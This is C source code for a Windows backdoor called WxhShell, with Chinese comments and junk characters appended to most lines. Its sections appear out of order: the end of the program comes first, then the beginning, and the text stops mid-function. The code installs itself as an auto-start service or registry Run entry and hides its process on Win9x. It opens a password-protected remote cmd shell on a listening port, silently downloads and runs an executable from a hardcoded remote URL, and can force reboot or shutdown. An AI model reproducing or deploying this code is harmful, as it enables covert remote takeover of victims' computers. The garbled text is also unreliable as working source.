    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ +`   
    else { Xiyh3/%yy  
    closesocket(wsh); KV!!D{VS`@  
    ExitThread(0); whzV7RT  
    } Z|z+[V}[  
    break; `qjiC>9  
    } pV3o\bk!  
  // 获取shell V ?10O  
  case 's': { jG0o-x=X  
    CmdShell(wsh); rdFeDZo&Z)  
    closesocket(wsh); jtMN)TM  
    ExitThread(0); 8mCL3F  
    break; DKjkO5R\  
  } 4;*o}E  
  // 退出 {hr+ENgV  
  case 'x': { Wa8?o~0"L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `xO9xo#  
    CloseIt(wsh); ?W%9H\;  
    break; Felu`@b  
    } 9Okb)K95  
  // 离开 drJ<&1O  
  case 'q': { Uv(THxVh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SLa\F  
    closesocket(wsh); 2xchjU-  
    WSACleanup(); )<D(Mb 2p|  
    exit(1); r&G=}ZMO  
    break; }#[MV+D  
        } 7yU<!p?(  
  } ?0Qm  
  } )1>fQ9   
%CxrXU  
  // 提示信息 S}=euY'i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6QCU:2IiL  
} i#@3\&{J>  
  } PTu~PVbp4  
8TK&i,  
  return; u |h T1l  
} ^_5Nh^  
qc*z`Wz:  
// shell模块句柄 SWX;sM  
int CmdShell(SOCKET sock) 9` /\|t|V  
{ ^<0azza/(  
STARTUPINFO si; Lh%>> Ht{  
ZeroMemory(&si,sizeof(si)); {%S>!RA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "g)@jqq:>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2BU%4IG  
PROCESS_INFORMATION ProcessInfo; 6$}hb|j  
char cmdline[]="cmd"; y%X{[F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?(cbZ#( o  
  return 0; nyZUf{:  
} [jD.l;jF  
pZu2[  
// 自身启动模式 pq"3)+3:  
int StartFromService(void) , qj  
{ < c[+60p"  
typedef struct #6[7q6{ 4  
{ ,&II4;F  
  DWORD ExitStatus; !<wM?Q:  
  DWORD PebBaseAddress; +gG6(7&+=  
  DWORD AffinityMask; V@0Z\&  
  DWORD BasePriority; QMGMXa   
  ULONG UniqueProcessId; \X5>HPB  
  ULONG InheritedFromUniqueProcessId; Nw`}iR0i  
}   PROCESS_BASIC_INFORMATION; cxhS*"Ph  
oC]|ARgQk|  
PROCNTQSIP NtQueryInformationProcess; [@U2a$k+d  
vHY."$|H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6.z8!4fpl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e}u# :ysj  
2=3pV!)4}  
  HANDLE             hProcess; IK%fX/tDyc  
  PROCESS_BASIC_INFORMATION pbi; 9rr"q5[  
&;~x{q]3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k%iZ..  
  if(NULL == hInst ) return 0; C:77~f-+rQ  
9/rX%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uTN mt]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;?/v}$Pa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6m_whGosi  
%&L]k>n^  
  if (!NtQueryInformationProcess) return 0; VU1 ;ZJ E  
Zh?1+Sz&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); . Q3GA0O  
  if(!hProcess) return 0; i^[yGXtW  
,Db+c3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y{~l&zrl  
~/hyf]*j  
  CloseHandle(hProcess); lW! U:  
3YyB0BMW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]XX8l:+  
if(hProcess==NULL) return 0; *R17 KMS  
2QUZAV\ Y  
HMODULE hMod; 8y!d^EQ  
char procName[255]; 0*66m:C2  
unsigned long cbNeeded; <Z^t^ O  
f n9[Li  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q' };.tv  
|Uz?i7z  
  CloseHandle(hProcess); |k~\E|^  
\29a@6  
if(strstr(procName,"services")) return 1; // 以服务启动 =]h5RC  
}(AgXvRq  
  return 0; // 注册表启动 3lc'(ts %  
} xU/Eu;m  
w(kN0HD  
// 主模块 tcYbM+4e  
int StartWxhshell(LPSTR lpCmdLine) zmf`}j[  
{ 5}3Q}o#  
  SOCKET wsl; 38IVSK_  
BOOL val=TRUE; #t /.fd  
  int port=0; [gZd$9a  
  struct sockaddr_in door; D*d@<&Bl4<  
-(FVTWi0  
  if(wscfg.ws_autoins) Install(); \BC|`)0h  
h>,yqiY4p  
port=atoi(lpCmdLine); "j5b$T0P>  
@q9uU9c  
if(port<=0) port=wscfg.ws_port; &:g5+([<  
,^ MA,"8  
  WSADATA data; gd>Op  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7<V(lX.{  
lc/q0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^7C?yC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Y#S2ty  
  door.sin_family = AF_INET; #87:Or1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *S.R#4w  
  door.sin_port = htons(port); uX*H2"A  
%\?2W8Qv_J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eiB5 8b3  
closesocket(wsl); mA:NAV $!s  
return 1; noiUi>G;:  
} 6 flc  
{l= !  
  if(listen(wsl,2) == INVALID_SOCKET) { g+gHIb7{  
closesocket(wsl); (q+U5Ls6  
return 1; 0eY$K7 U  
} *V(TNLIh;  
  Wxhshell(wsl); LGq}wxq  
  WSACleanup(); EJP##eGx  
olzP=08aaV  
return 0; I^'kt[P'FZ  
'ypJGm  
} SS@F:5),  
4CO:*qG)o  
// 以NT服务方式启动 (9x8,f0z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hw8`/'M=%5  
{ cF_hU"  
DWORD   status = 0; b'`8$;MII  
  DWORD   specificError = 0xfffffff; GuMsw*{>  
k WYjqv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~JY<DW7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zm rQ7(y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C.dN)?O  
  serviceStatus.dwWin32ExitCode     = 0; P`wp`HI  
  serviceStatus.dwServiceSpecificExitCode = 0; w^09|k  
  serviceStatus.dwCheckPoint       = 0; WZaOw w  
  serviceStatus.dwWaitHint       = 0; uUb[Dqn  
v|~ yIywf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SEQ bw](ss  
  if (hServiceStatusHandle==0) return; X_XeI!,b  
IGs!SXclCs  
status = GetLastError(); C,:3z  
  if (status!=NO_ERROR) HgY"nrogt$  
{ dE2(PQb*P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X"<t3l(+  
    serviceStatus.dwCheckPoint       = 0; d V#h~  
    serviceStatus.dwWaitHint       = 0; :|xV}  
    serviceStatus.dwWin32ExitCode     = status; Kl~jcq&z  
    serviceStatus.dwServiceSpecificExitCode = specificError; rgheq<B:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); weC$\st:D  
    return; <N^2|*3  
  } ipfiarT~)  
\:C@L&3[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6JBE=9d-Q  
  serviceStatus.dwCheckPoint       = 0; I0oM\~#  
  serviceStatus.dwWaitHint       = 0; Ro`Hm8o/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nb0V~W  
} qCOe,$\1/  
L}CjC>R!  
// 处理NT服务事件,比如:启动、停止 cMxTv4|wui  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OL&ku &J_  
{ L2Uk/E  
switch(fdwControl) "Q]`~u':  
{ T:S+P t~  
case SERVICE_CONTROL_STOP: zZDa7 1>  
  serviceStatus.dwWin32ExitCode = 0; <T JUKznO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \M1-  
  serviceStatus.dwCheckPoint   = 0; 0}jB/Z_T  
  serviceStatus.dwWaitHint     = 0; DWZ!B7Ts  
  { q?'*T?|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Y/$I?13Z  
  } >[B[Q_})  
  return; EI6K0{'&X  
case SERVICE_CONTROL_PAUSE: ::N'tcZ^2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "#^11o8  
  break; 4Y8/>uL  
case SERVICE_CONTROL_CONTINUE: A?'Tigi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `yJpDGh  
  break; PO5/j  
case SERVICE_CONTROL_INTERROGATE: <m"Zk k  
  break; mu0ER 3o  
}; "<x%kD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^0ZabR'  
} r8rU+4\8<  
K1 a$ m2  
// 标准应用程序主函数 jD9 ^DzFx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gy/z;fB  
{ yU3fM?a  
uqPagt<  
// 获取操作系统版本 S1NM9xHJ  
OsIsNt=GetOsVer(); !T02@e/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4v cUHa|4  
DE:FWD<}  
  // 从命令行安装 Qc-jOl  
  if(strpbrk(lpCmdLine,"iI")) Install(); _] veTAV  
 U=MFNp+  
  // 下载执行文件 N=lFf+  
if(wscfg.ws_downexe) { |]sh*<:?,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GZQy~Uk~  
  WinExec(wscfg.ws_filenam,SW_HIDE); w N9I )hB  
} E9t[Mb %0  
}N!I|<"/  
if(!OsIsNt) { j u`x   
// 如果时win9x,隐藏进程并且设置为注册表启动 x;2tmof=L  
HideProc(); i/`N~r   
StartWxhshell(lpCmdLine); ntE;*F yH  
} TyVn5XHl^  
else IGEs1  
  if(StartFromService()) U~QIO O  
  // 以服务方式启动 8R}CvzI  
  StartServiceCtrlDispatcher(DispatchTable); 0\84~t'[  
else FP=%e]vJ  
  // 普通方式启动 }stc]L{79  
  StartWxhshell(lpCmdLine); ~]P_Yd-|  
=B_vQJF2  
return 0; )*ocX)AE  
} .^0@^%Wi  
 Ew1> m'  
<m:8%]%M6  
?bu-6pkx]  
=========================================== d-w#\ ^  
+]P? ?`,R;  
1>bG]l1//  
F1%-IBe  
\zCT""'i  
=n|n%N4Y  
" /9<zG}:B  
$lmGMljF  
#include <stdio.h> `b 6j7  
#include <string.h> D9^.Eg8W  
#include <windows.h> n!e4"|4~z  
#include <winsock2.h> hOjy$Z  
#include <winsvc.h> yUcWX bT@  
#include <urlmon.h> P 0v&*y3Y  
y6tzmyg  
#pragma comment (lib, "Ws2_32.lib") _Vr>/f  
#pragma comment (lib, "urlmon.lib") Y8YNRyc=  
57*`y'C W  
#define MAX_USER   100 // 最大客户端连接数 O+hN?/>v  
#define BUF_SOCK   200 // sock buffer ^Rriu $\  
#define KEY_BUFF   255 // 输入 buffer H7!j5^  
A]^RV{P  
#define REBOOT     0   // 重启 M:i;;)cq  
#define SHUTDOWN   1   // 关机 swEE >=  
BMMWP   
#define DEF_PORT   5000 // 监听端口 ?v?b%hK!;  
~ _R 8; b  
#define REG_LEN     16   // 注册表键长度 LRl2@&z<  
#define SVC_LEN     80   // NT服务名长度 ikd~k>F  
Oo<L~7B  
// 从dll定义API 7kJ =C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); luAmq+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v.Wkz9 w}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); seO7/h_a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KLi&T mIB  
YJi C}.4Q  
// wxhshell配置信息 ]/>(C76  
struct WSCFG { G*.}EoA  
  int ws_port;         // 监听端口 Kv3cKNvu~  
  char ws_passstr[REG_LEN]; // 口令 @X\-c2=  
  int ws_autoins;       // 安装标记, 1=yes 0=no SJ4[n.tPI  
  char ws_regname[REG_LEN]; // 注册表键名 Q@zD'G >  
  char ws_svcname[REG_LEN]; // 服务名 \=3V]7\&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 . Z 93S|q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NJ\ID=3l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n@IpO i$Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^)|8N44O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `rEu8u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c!n\?lB  
CsfGjqpf  
}; @ov*Fh  
@AM;58.  
// default Wxhshell configuration ; C/:$l  
struct WSCFG wscfg={DEF_PORT, q5<'pi   
    "xuhuanlingzhe", BVAxeXO  
    1, (/6~*<ZGT  
    "Wxhshell", _Ec9g^I10  
    "Wxhshell", 4 XSEN ]F  
            "WxhShell Service", Y#[jDS(ip  
    "Wrsky Windows CmdShell Service", Qf0]7  
    "Please Input Your Password: ", 701ei;   
  1, -js:R+C528  
  "http://www.wrsky.com/wxhshell.exe", Ei@w*.3P<  
  "Wxhshell.exe" n1D,0+N=  
    }; ?Ybgzb  
x,)|;HXm  
// 消息定义模块 )nncCU W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c8'a<<sj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l0hcNEj{W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XNODDH   
char *msg_ws_ext="\n\rExit."; 7{0;<@  
char *msg_ws_end="\n\rQuit."; [N] 5)n  
char *msg_ws_boot="\n\rReboot..."; 1?k{jt~  
char *msg_ws_poff="\n\rShutdown..."; PL*Mz(&bf  
char *msg_ws_down="\n\rSave to "; tCZ3n  
c;X8: Z=ja  
char *msg_ws_err="\n\rErr!"; (t$jb |Oa  
char *msg_ws_ok="\n\rOK!"; 3-^z<*  
xLID @9Hbu  
char ExeFile[MAX_PATH]; \v|nRn,`-  
int nUser = 0; 2/[J<c\G  
HANDLE handles[MAX_USER]; f,S,35`qa  
int OsIsNt; <:(p nw*L  
0^?:Zds  
SERVICE_STATUS       serviceStatus; ~MuD`a7#G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s#phs `v  
t]dtBt].:  
// 函数声明 LU'<EXUbY  
int Install(void); la37cG  
int Uninstall(void); mar6/*`I#+  
int DownloadFile(char *sURL, SOCKET wsh); B4fMD]  
int Boot(int flag); (6b*JQ^^  
void HideProc(void); uO=yQ&  
int GetOsVer(void); hn-+]Y:  
int Wxhshell(SOCKET wsl); e+`LtEve0  
void TalkWithClient(void *cs); T'W)RYnwl  
int CmdShell(SOCKET sock); ,0j7qn@tm  
int StartFromService(void); =rH' \7T  
int StartWxhshell(LPSTR lpCmdLine); dXwfOC\\  
H[H+s!)"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b A/,{R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /=o~7y  
Pn&!C*,  
// 数据结构和表定义 G)<NzZo  
SERVICE_TABLE_ENTRY DispatchTable[] = x?5D>M/Y  
{ {Y0Uln5u  
{wscfg.ws_svcname, NTServiceMain}, 1#]0\Y(  
{NULL, NULL} :.2Tcq  
}; c:[z({`  
I[P43>F3  
// 自我安装 Ii*tux!S  
int Install(void) \L6kCY  
{ "e)C.#3  
  char svExeFile[MAX_PATH]; b-'T>1V  
  HKEY key; k&oq6!ix  
  strcpy(svExeFile,ExeFile); o p{DPUO0  
NoSq:e  
// 如果是win9x系统,修改注册表设为自启动 | DB7o+4  
if(!OsIsNt) { i!AFXVX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $-x@P9im  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P|0dZHpT  
  RegCloseKey(key); WR5@S&fU`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $9~6M*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H YA<  
  RegCloseKey(key); kK62yz,  
  return 0; Ln&'5D#  
    } 0ZRIi70u  
  } *!mT#Vm^  
} QB3vp4pBg@  
else { =x_~7 Xc{  
rzl0*CR  
// 如果是NT以上系统,安装为系统服务 ]H%S GQPn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -}_X'h&"  
if (schSCManager!=0) ,RA;X  
{ jUtFDw  
  SC_HANDLE schService = CreateService '3<AzR2  
  ( qwf97pg$  
  schSCManager, G6*P]<  
  wscfg.ws_svcname, |o6g{#1  
  wscfg.ws_svcdisp, ET2^1X#j  
  SERVICE_ALL_ACCESS, ^/"[jq3F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hN#A3FFo L  
  SERVICE_AUTO_START, ftaGu-d%  
  SERVICE_ERROR_NORMAL, NZ{)&ObBRt  
  svExeFile, !@.9>"FU  
  NULL, 5*~]=(BE  
  NULL, cN{(XmX5n  
  NULL, )(4.7>  
  NULL, E((U=P}+g  
  NULL goJK~d8M*  
  ); Xc>M_%+ R  
  if (schService!=0) VuU{7:  
  { %I`%N2ss  
  CloseServiceHandle(schService); ?QbxC,& i  
  CloseServiceHandle(schSCManager); 0Z11V9Jk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qD] &&"B  
  strcat(svExeFile,wscfg.ws_svcname); Exu5|0AAE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WVa-0;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O7})1|>1  
  RegCloseKey(key); i(hL6DLD  
  return 0; p-qt?A  
    } mFGiysM  
  } .+.'TY--  
  CloseServiceHandle(schSCManager); 8lNkY`P7s  
} 3EVAB0/$  
} U8||)  +  
VGe OoS  
return 1; $\9M6k'  
} CogN1,GJ  
+N3f{-{"Yo  
// 自我卸载 9 SBVp 6'  
int Uninstall(void) _Hp[}sv4)  
{ G\PFh&  
  HKEY key; ]YF_c,Q  
y\C_HCU H  
if(!OsIsNt) { $sfDtnRy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *vqr+jr9  
  RegDeleteValue(key,wscfg.ws_regname); 0t^Tm0RzH  
  RegCloseKey(key); eBN!!Y:7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ge[hAI2I  
  RegDeleteValue(key,wscfg.ws_regname); 9f|+LN##  
  RegCloseKey(key); F<YXkG4 pO  
  return 0; ||}'  
  } n2p(@  
} nS` :)#;  
} 'v~%rhq3  
else { # fe%E.  
^U8^P]{R|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M hwuh`v%  
if (schSCManager!=0) z,f  
{ ==ZL0 ][  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^+MG"|)u~  
  if (schService!=0) %b1NlzB+  
  { &BZjQK  
  if(DeleteService(schService)!=0) { UG,<\k&  
  CloseServiceHandle(schService); X:Iam#H  
  CloseServiceHandle(schSCManager); tD j/!L`  
  return 0; kc:>[{9  
  } [" PRxl  
  CloseServiceHandle(schService); YD@n8?~$$  
  } sI OT6L^7  
  CloseServiceHandle(schSCManager); X$0&tmum  
} [AA*B  
} cvk$ I"q+  
TGSkJ 1Lx  
return 1; VJoobu1h  
} p* Q *}V  
XD8Q2un  
// 从指定url下载文件 J+:gIszsWT  
int DownloadFile(char *sURL, SOCKET wsh) >s;>"]  
{ mE)I(< %  
  HRESULT hr; /4 M~ 6LT`  
char seps[]= "/"; vxt<}h5J/!  
char *token; +#LD@)G  
char *file; Q|] 9  
char myURL[MAX_PATH]; mh :eUFe  
char myFILE[MAX_PATH]; <?E~Qc t  
Oe_*(q&  
strcpy(myURL,sURL); R\MFh!6sn  
  token=strtok(myURL,seps); gc[BP>tl\  
  while(token!=NULL) =}xH6^It  
  { py':UQS*q  
    file=token; qHf8z;lc  
  token=strtok(NULL,seps); 6p)dO c3L  
  } wticA#mb  
>&?k^nI}J  
GetCurrentDirectory(MAX_PATH,myFILE); [IRWm N-  
strcat(myFILE, "\\"); )Zbrg~-@  
strcat(myFILE, file); <ZXK}5SZ#  
  send(wsh,myFILE,strlen(myFILE),0); TJ`Jqnh  
send(wsh,"...",3,0); XnNU-UCX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }}q_QD_  
  if(hr==S_OK) B4kJ 7Pdny  
return 0; )ePQN~#K}  
else lG/h[  
return 1; d>-k-X-[  
0)HZ5^J  
} L^%jR=  
LO@='}D=  
// 系统电源模块 CS\T@)@t  
int Boot(int flag) ^,sKj-  
{ '(-SuaH49  
  HANDLE hToken; )W0z  
  TOKEN_PRIVILEGES tkp; w\{oOlE  
56l1&hp8In  
  if(OsIsNt) { NzAMX+L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VPI;{0kh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^E}};CsT  
    tkp.PrivilegeCount = 1; I?~iEO\nh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /xh/M@G3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1 [D,Mu%E  
if(flag==REBOOT) { 1@6FV x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FJH'!P\  
  return 0; grbUR)f<?-  
} ?_BK(kL_  
else { yRtxh_wr9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6Sr}I,DG  
  return 0; cwC-)#R']  
} WcZck{ehd  
  } o>?#$~XNv  
  else { k=``Avp?  
if(flag==REBOOT) { 01&J7A2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )2dTgvy  
  return 0;  M_ii  
} 4PDxmH]y  
else { -j"]1JLQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r{ }&* Y  
  return 0; %DIZgPd\  
} jFPD SR5  
} "inXHxqu/J  
:+Okv$v4  
return 1; w^N3Ma  
} o3kVcX^  
e>~7RN  
// win9x进程隐藏模块 Puodsd  
void HideProc(void) se ]q~<&  
{ y{O81 7 \  
p0bMgP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5* 3T+OK  
  if ( hKernel != NULL ) TD6MP9L  
  { si,W.9rU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SO8b~N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m{{ 8#@g  
    FreeLibrary(hKernel); F?*ko,  
  } 0fP-[7P  
 Unc_e  
return; `p\@b~GM  
} Lq cHsUFj  
riz[AAB  
// 获取操作系统版本 /+g)J0u  
int GetOsVer(void) Lcow2 SbH  
{ A{,ZfX;SPO  
  OSVERSIONINFO winfo; ~3r}6,%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #24 eogo~  
  GetVersionEx(&winfo); ;:#g\|(<+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9f7T.}HM  
  return 1; \$[; d:9j  
  else ]aqg{XdGt  
  return 0; pj/w9j G6  
} ML-?#jNa<  
SU80i`  
// 客户端句柄模块 dWDM{t\}\  
int Wxhshell(SOCKET wsl) j c-$l  
{ 8AQ@?\Rc"2  
  SOCKET wsh; vAH`tPi>  
  struct sockaddr_in client; KDEcR  
  DWORD myID; =*Ru 2  
H%^j yGS  
  while(nUser<MAX_USER) c$AwJhl^]  
{ Jh!'"7  
  int nSize=sizeof(client); aZBb@~Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4b<>gpQ  
  if(wsh==INVALID_SOCKET) return 1; o|O|e9m(  
,'c?^ $J|z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iciw 54;4  
if(handles[nUser]==0) %FSY}65  
  closesocket(wsh); lJ$j[Y  
else 1C]mxV=%  
  nUser++; 4o``t]  
  } Tn"/EO^N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T2p;#)dP  
#[ZNiaWT  
  return 0; -FrNk>  
} s?pd&_kOv3  
KV {J>J1  
// 关闭 socket l0GsY.~,  
void CloseIt(SOCKET wsh) :$5$H  
{ =&YhA}l\O  
closesocket(wsh); .sE5QRVc  
nUser--; Q( g&/O  
ExitThread(0); m\xlSNW'q  
} 71(C@/J  
?@LqrKj 11  
// 客户端请求句柄 \2huDNW& !  
void TalkWithClient(void *cs) X^c2  
{ (>usa||  
iwS55o  
  SOCKET wsh=(SOCKET)cs; |z%:{  
  char pwd[SVC_LEN]; }VI}O{  
  char cmd[KEY_BUFF]; j| X>:!4r  
char chr[1]; Exu>%  
int i,j; uFl19  
DSX.84  
  while (nUser < MAX_USER) { 6l,oL'$}P1  
%UnL,V9)  
if(wscfg.ws_passstr) { )Z qY`by!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gt Vnn]Jh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p81Vt   
  //ZeroMemory(pwd,KEY_BUFF); 8{ooLdpX7  
      i=0; 6(as.U>K  
  while(i<SVC_LEN) { ?Ja&LNI9S  
gSn9L)k(O  
  // 设置超时 =/zb$d cz  
  fd_set FdRead; `+?g96   
  struct timeval TimeOut; G}8Zkz@+  
  FD_ZERO(&FdRead); ~P;KO40K  
  FD_SET(wsh,&FdRead); /ij)[WK@  
  TimeOut.tv_sec=8; ;.EW7`)Z  
  TimeOut.tv_usec=0; 6X`i*T$.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h#o?O k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?Q#yf8  
Q-7C'|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B;=-h(E}vJ  
  pwd=chr[0]; }{#ty uzAo  
  if(chr[0]==0xd || chr[0]==0xa) { 4/:}K>S_  
  pwd=0; vWpoaz/w  
  break; *s1^s;LR  
  } Z?"f#  
  i++; 'PK;Fg\  
    } |'ML )`c[  
Fx6]x$3  
  // 如果是非法用户,关闭 socket >xB[k-C4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "Di8MMGOY  
} ) u Sg;B4  
q"C(`S.@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i$ CN{c*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7>,(QHl  
gR\-%<42  
while(1) { nEgDwJ<wl  
%TUvH>;0  
  ZeroMemory(cmd,KEY_BUFF); M|DVFC  
;FfDi*S7  
      // 自动支持客户端 telnet标准   l+HF+v$  
  j=0; mMSQW6~j  
  while(j<KEY_BUFF) { <g3)!VR^q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C(@#I7G  
  cmd[j]=chr[0]; r=74 'g  
  if(chr[0]==0xa || chr[0]==0xd) { (u:^4,Z  
  cmd[j]=0; 'ugc=-0pd  
  break; 6)j4-  
  } {@YY8SKb9  
  j++; |fIIfYE  
    } t]14bf$*Q  
IF~E;  
  // 下载文件 ZlG|U]mM5  
  if(strstr(cmd,"http://")) { sDXD>upO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Svqj@@_f  
  if(DownloadFile(cmd,wsh)) bbe$6xwi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mi]bS  
  else :XFr"aSt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jRGslak;  
  } bpgvLZb>s  
  else { X"Ca  
dgp1B\  
    switch(cmd[0]) { 3[F9qDAy  
  [@;q#.}Z  
  // 帮助 M%(^GdI#Vf  
